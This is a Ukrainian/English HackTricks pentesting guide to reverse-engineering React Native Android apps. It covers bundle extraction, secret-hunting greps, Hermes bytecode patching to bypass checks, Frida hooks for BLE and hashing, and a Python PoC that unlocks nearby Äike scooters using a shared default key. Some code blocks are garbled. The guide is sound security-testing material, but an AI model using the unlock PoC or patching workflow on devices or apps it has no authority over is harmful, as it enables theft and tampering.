Аналіз додатка React Native
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Щоб підтвердити, чи додаток побудовано на React Native, виконайте наступні кроки:
-
Перейменуйте APK-файл у файл із розширенням zip і розпакуйте його в нову папку, використовуючи команду
cp com.example.apk example-apk.zipтаunzip -qq example-apk.zip -d ReactNative. -
Перейдіть у щойно створену папку ReactNative і знайдіть папку assets. Усередині цієї папки має бути файл
index.android.bundle, який містить React JavaScript у мінімізованому форматі. -
Використайте команду
find . -print | grep -i ".bundle$"для пошуку JavaScript-файлу.
Примітка: Якщо вам надали Android App Bundle (.aab) замість APK, спочатку згенеруйте universal APK, а потім витягніть bundle:
# Get bundletool.jar and generate a universal APK set
java -jar bundletool.jar build-apks \
--bundle=app-release.aab \
--output=app.apks \
--mode=universal \
--overwrite
# Extract the APK and then unzip it to find assets/index.android.bundle
unzip -p app.apks universal.apk > universal.apk
unzip -qq universal.apk -d ReactNative
ls ReactNative/assets/
Javascript Code
Якщо при перевірці вмісту index.android.bundle ви знаходите JavaScript код додатка (навіть якщо він мінімізований), ви можете проаналізувати його, щоб знайти конфіденційну інформацію та вразливості.
Оскільки бандл фактично містить увесь JS код додатка, його можна розбити на різні файли (що потенційно спрощує зворотний інжиніринг) за допомогою інструмента react-native-decompiler.
Webpack
Для подальшого аналізу JavaScript коду можна завантажити файл на https://spaceraccoon.github.io/webpack-exploder/ або виконати ці кроки:
- Створіть файл з назвою
index.htmlу тій самій директорії з таким кодом:
<script src="./index.android.bundle"></script>
-
Відкрийте файл
index.htmlу Google Chrome. -
Відкрийте панель розробника (Developer Toolbar), натиснувши Command+Option+J for OS X або Control+Shift+J for Windows.
-
Натисніть “Sources” у панелі розробника. Ви повинні побачити JavaScript-файл, розбитий на папки й файли, що складають головний бандл.
Якщо ви знайдете файл index.android.bundle.map, ви зможете аналізувати вихідний код у немініфікованому форматі. Map-файли містять source mapping, що дозволяє зіставляти мініфіковані ідентифікатори.
Щоб шукати чутливі облікові дані та endpoints, виконайте такі кроки:
-
Визначте чутливі ключові слова для аналізу JavaScript-коду. Додатки React Native часто використовують сторонні сервіси, такі як Firebase, AWS S3, endpoint-адреси сервісів, приватні ключі тощо.
-
У цьому конкретному випадку було помічено, що додаток використовує сервіс Dialogflow. Шукайте шаблон, пов’язаний із його конфігурацією.
-
Пощастило, що під час recon у JavaScript-коді було знайдено чутливі жорстко закодовані облікові дані.
Quick secrets/endpoint hunting in bundles
These simple greps often surface interesting indicators even in minified JS:
# Common backends and crash reporters
strings -n 6 index.android.bundle | grep -Ei "(api\.|graphql|/v1/|/v2/|socket|wss://|sentry\.io|bugsnag|appcenter|codepush|firebaseio\.com|amplify|aws)"
# Firebase / Google keys (heuristics)
strings -n 6 index.android.bundle | grep -Ei "(AIza[0-9A-Za-z_-]{35}|AIzaSy[0-9A-Za-z_-]{33})"
# AWS access key id heuristic
strings -n 6 index.android.bundle | grep -E "AKIA[0-9A-Z]{16}"
# Expo/CodePush deployment keys
strings -n 6 index.android.bundle | grep -Ei "(CodePush|codepush:\\/\\/|DeploymentKey)"
# Sentry DSN
strings -n 6 index.android.bundle | grep -Ei "(Sentry\.init|dsn\s*:)"
Якщо ви підозрюєте фреймворки Over-The-Air для оновлень, також шукайте:
- Microsoft App Center / CodePush ключі розгортання
- Expo EAS Updates конфігурацію (
expo-updates,expo\.io, сертифікати підпису)
Change JS code and rebuild
У цьому випадку змінити код досить просто. Потрібно лише перейменувати додаток, щоб він мав розширення .zip, і розпакувати його. Потім ви можете змінити JS-код всередині цього бандла і перебудувати додаток. Цього має бути достатньо, щоб дозволити вам inject code у додаток для тестування.
Hermes bytecode
Якщо бандл містить Hermes bytecode, ви не зможете отримати доступ до Javascript коду додатку (навіть до мінімізованої версії).
Ви можете перевірити, чи містить бандл Hermes bytecode, виконавши наступну команду:
file index.android.bundle
index.android.bundle: Hermes JavaScript bytecode, version 96
Однак ви можете використовувати інструменти hbctool, оновлені форки hbctool, які підтримують новіші версії bytecode, hasmer, hermes_rs (Rust library/APIs), або hermes-dec для disassemble the bytecode і також decompile it to some pseudo JS code. Наприклад:
# Disassemble and re-assemble with hbctool (works only for supported HBC versions)
hbctool disasm ./index.android.bundle ./hasm_out
# ...edit ./hasm_out/**/*.hasm (e.g., change comparisons, constants, feature flags)...
hbctool asm ./hasm_out ./index.android.bundle
# Using hasmer (focus on disassembly; assembler/decompiler are WIP)
hasmer disasm ./index.android.bundle -o hasm_out
# Using hermes-dec to produce pseudo-JS
hbc-disassembler ./index.android.bundle /tmp/my_output_file.hasm
hbc-decompiler ./index.android.bundle /tmp/my_output_file.js
Порада: проект Hermes з відкритим кодом також постачає інструменти для розробників, такі як hbcdump, у конкретних релізах Hermes. Якщо зібрати відповідну версію Hermes, яка використовувалася для створення bundle, hbcdump може дампити функції, таблиці рядків і bytecode для глибшого аналізу.
Change code and rebuild (Hermes)
Ідеально, якщо ви зможете змінити дизасембльований код (змінити порівняння, значення або що-небудь інше) і потім rebuild the bytecode та перебудувати додаток.
- The original hbctool supports disassembling the bundle and building it back after changes, but historically supported only older bytecode versions. Community-maintained forks extend support to newer Hermes versions (including mid-80s–96) and are often the most practical option to patch modern RN apps.
- The tool hermes-dec does not support rebuilding the bytecode (decompiler/disassembler only), but it’s very helpful to navigate logic and dump strings.
- The tool hasmer aims to support both disassembly and assembly for multiple Hermes versions; assembling is still maturing but worth trying on recent bytecode.
A minimal workflow with hbctool-like assemblers:
# 1) Disassemble to HASM directories
hbctool disasm assets/index.android.bundle ./hasm
# 2) Edit a guard or feature flag (example: force boolean true)
# In the relevant .hasm, replace a LoadConstUInt8 0 with 1
# or change a conditional jump target to bypass a check.
# 3) Reassemble into a new bundle
hbctool asm ./hasm assets/index.android.bundle
# 4) Repack the APK and resign
zip -r ../patched.apk *
# Align/sign as usual (see Android signing section in HackTricks)
Зверніть увагу, що формат байткоду Hermes є версіонованим, і асемблер має точно відповідати формату на диску. Якщо ви отримуєте помилки формату, переключіться на оновлений форк/альтернативу або перебудуйте відповідні інструменти Hermes.
Динамічний аналіз
Один із підходів для динамічного аналізу додатка — використати Frida, увімкнути режим розробника в React-додатку та підключитися за допомогою react-native-debugger. Однак для цього, очевидно, потрібен вихідний код додатка. Більше інформації можна знайти за адресою https://newsroom.bedefended.com/hooking-react-native-applications-with-frida/.
Enabling Dev Support in release with Frida (caveats)
Деякі додатки випадково постачають класи, які дозволяють перемикати Dev Support. Якщо такі є, можна спробувати примусово змусити getUseDeveloperSupport() повертати true:
// frida -U -f com.target.app -l enable-dev.js
Java.perform(function(){
try {
var Host = Java.use('com.facebook.react.ReactNativeHost');
Host.getUseDeveloperSupport.implementation = function(){
return true; // force dev support
};
console.log('[+] Patched ReactNativeHost.getUseDeveloperSupport');
} catch (e) {
console.log('[-] Could not patch: ' + e);
}
});
Warning: In properly built release builds, DevSupportManagerImpl and related debug-only classes are stripped and flipping this flag can crash the app or have no effect. When this works, you can typically expose the dev menu and attach debuggers/inspectors.
Перехоплення мережевого трафіку в RN-додатках
React Native на Android зазвичай використовує OkHttp під капотом (через нативний модуль Networking). Щоб перехопити/спостерігати трафік на пристрої без root під час динамічних тестів:
- Використайте системний proxy + trust user CA або застосуйте інші загальні техніки обходу Android TLS.
- RN-specific tip: якщо додаток помилково пакує Flipper у release (debug tooling), Flipper Network plugin може показати запити/відповіді.
Для загальних методів перехоплення на Android та технік обходу pinning зверніться до:
Make APK Accept CA Certificate
Динамічне виявлення протоколу GATT за допомогою Frida (підходить для Hermes)
Якщо Hermes bytecode блокує просту статичну інспекцію JS, натомість підключайтеся до Android BLE стеку. android.bluetooth.BluetoothGatt та BluetoothGattCallback відкривають усе, що додаток відправляє/отримує, дозволяючи вам реверсувати пропрієтарні challenge-response і command frames без доступу до JS-джерела.
Frida GATT logger (UUID + hex/ASCII dumps)
```js Java.perform(function () { function b2h(b) { return Array.from(b || [], x => ('0' + (x & 0xff).toString(16)).slice(-2)).join(' '); } function b2a(b) { return String.fromCharCode.apply(null, b || []).replace(/[^\x20-\x7e]/g, '.'); } var G = Java.use('android.bluetooth.BluetoothGatt'); var Cb = Java.use('android.bluetooth.BluetoothGattCallback');G.writeCharacteristic.overload(‘android.bluetooth.BluetoothGattCharacteristic’).implementation = function (c) {
console.log(\n>>> WRITE ${c.getUuid()}); console.log(b2h(c.getValue())); console.log(b2a(c.getValue()));
return this.writeCharacteristic(c);
};
G.writeCharacteristic.overload(‘android.bluetooth.BluetoothGattCharacteristic’,‘[B’,‘int’).implementation = function (c,v,t) {
console.log(\n>>> WRITE ${c.getUuid()} (type ${t})); console.log(b2h(v)); console.log(b2a(v));
return this.writeCharacteristic(c,v,t);
};
Cb.onConnectionStateChange.overload(‘android.bluetooth.BluetoothGatt’,‘int’,‘int’).implementation = function (g,s,n) {
console.log(*** STATE ${n} (status ${s})); return this.onConnectionStateChange(g,s,n);
};
Cb.onCharacteristicRead.overload(‘android.bluetooth.BluetoothGatt’,‘android.bluetooth.BluetoothGattCharacteristic’,‘int’).implementation = function (g,c,s) {
var v=c.getValue(); console.log(\n<<< READ ${c.getUuid()} status ${s}); console.log(b2h(v)); console.log(b2a(v));
return this.onCharacteristicRead(g,c,s);
};
Cb.onCharacteristicChanged.overload(‘android.bluetooth.BluetoothGatt’,‘android.bluetooth.BluetoothGattCharacteristic’).implementation = function (g,c) {
var v=c.getValue(); console.log(\n<<< NOTIFY ${c.getUuid()}); console.log(b2h(v));
return this.onCharacteristicChanged(g,c);
};
});
</details>
Hook `java.security.MessageDigest` щоб отримати fingerprint hash-based handshakes і захопити точну конкатенацію вхідних даних:
<details>
<summary>Frida MessageDigest tracer (алгоритм, вхідні дані, вихідні дані)</summary>
```js
Java.perform(function () {
var MD = Java.use('java.security.MessageDigest');
MD.getInstance.overload('java.lang.String').implementation = function (alg) { console.log(`\n[HASH] ${alg}`); return this.getInstance(alg); };
MD.update.overload('[B').implementation = function (i) { console.log('[HASH] update ' + i.length + ' bytes'); return this.update(i); };
MD.digest.overload().implementation = function () { var r=this.digest(); console.log('[HASH] digest -> ' + r.length + ' bytes'); return r; };
MD.digest.overload('[B').implementation = function (i) { console.log('[HASH] digest(' + i.length + ')'); return this.digest(i); };
});
Реальний BLE-потік, відновлений таким чином:
- Read challenge from
00002556-1212-efde-1523-785feabcd123. - Compute
response = SHA1(challenge || key)де ключ був 20-байтним значенням за замовчуванням 0xFF, запрограмованим на всіх пристроях. - Write the response to
00002557-1212-efde-1523-785feabcd123, потім відправляти команди на0000155f-1212-efde-1523-785feabcd123.
Після аутентифікації команди були 10-байтними кадрами до ...155f... ([0]=0x00, [1]=registry 0xD4, [3]=cmd id, [7]=param). Приклади: unlock 00 D4 00 01 00 00 00 00 00 00, lock ...02..., eco-mode on ...03...01..., open battery ...04.... Повідомлення надходили на 0000155e-1212-efde-1523-785feabcd123 (2-байтовий registry + payload), а значення registry можна опитувати, записавши ID registry у 00001564-1212-efde-1523-785feabcd123, а потім прочитавши з ...155f....
При наявності спільного/стандартного ключа challenge-response втрачає сенс. Будь-який поруч знаходящийся атакуючий може обчислити дайджест і відправити привілейовані команди. Мінімальний bleak PoC:
Python (bleak) BLE auth + unlock via default key
```python import asyncio, hashlib from bleak import BleakClient, BleakScanner CHAL="00002556-1212-efde-1523-785feabcd123"; RESP="00002557-1212-efde-1523-785feabcd123"; CMD="0000155f-1212-efde-1523-785feabcd123"def filt(d,_): return d.name and d.name in [“AIKE”,“AIKE_T”,“AIKE_11”] async def main(): dev = await BleakScanner.find_device_by_filter(filt, timeout=10.0) if not dev: return async with BleakClient(dev.address) as c: chal = await c.read_gatt_char(CHAL) resp = hashlib.sha1(chal + b’\xff’*20).digest() await c.write_gatt_char(RESP, resp, response=False) await c.write_gatt_char(CMD, bytes.fromhex(‘00 d4 00 01 00 00 00 00 00 00’), response=False) await asyncio.sleep(0.5) asyncio.run(main())
</details>
## Останні проблеми в популярних RN бібліотеках (на що звертати увагу)
Під час аудиту сторонніх модулів, видимих у JS bundle або native libs, перевіряйте наявні відомі вразливості та підтверджуйте версії в `package.json`/`yarn.lock`.
- react-native-mmkv (Android): версії до 2.11.0 логували необов'язковий ключ шифрування в логах Android. Якщо доступні ADB/logcat, секрети можуть бути відновлені. Забезпечте версію >= 2.11.0. Індикатори: використання `react-native-mmkv`, повідомлення в логах, що згадують MMKV init with encryption. CVE-2024-21668.
- react-native-document-picker: версії < 9.1.1 були вразливі до path traversal на Android (вибір файлу), виправлено в 9.1.1. Перевірте вхідні дані та версію бібліотеки.
Швидкі перевірки:
```bash
grep -R "react-native-mmkv" -n {index.android.bundle,*.map} 2>/dev/null || true
grep -R "react-native-document-picker" -n {index.android.bundle,*.map} 2>/dev/null || true
# If you also have the node_modules (rare on release): grep -R in package.json / yarn.lock
Джерела
- https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7
- https://www.assetnote.io/resources/research/expanding-the-attack-surface-react-native-android-applications
- https://payatu.com/wp-content/uploads/2023/02/Mastering-React-Native-Application-Pentesting-A-Practical-Guide-2.pdf
- CVE-2024-21668 - react-native-mmkv записує в логи ключ шифрування на Android (NVD)
- hbctool (and forks) для Hermes assemble/disassemble
- Äike BLE authentication bypass: стандартний приватний ключ BLE дозволяє розблокувати будь-який поруч розташований самокат
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


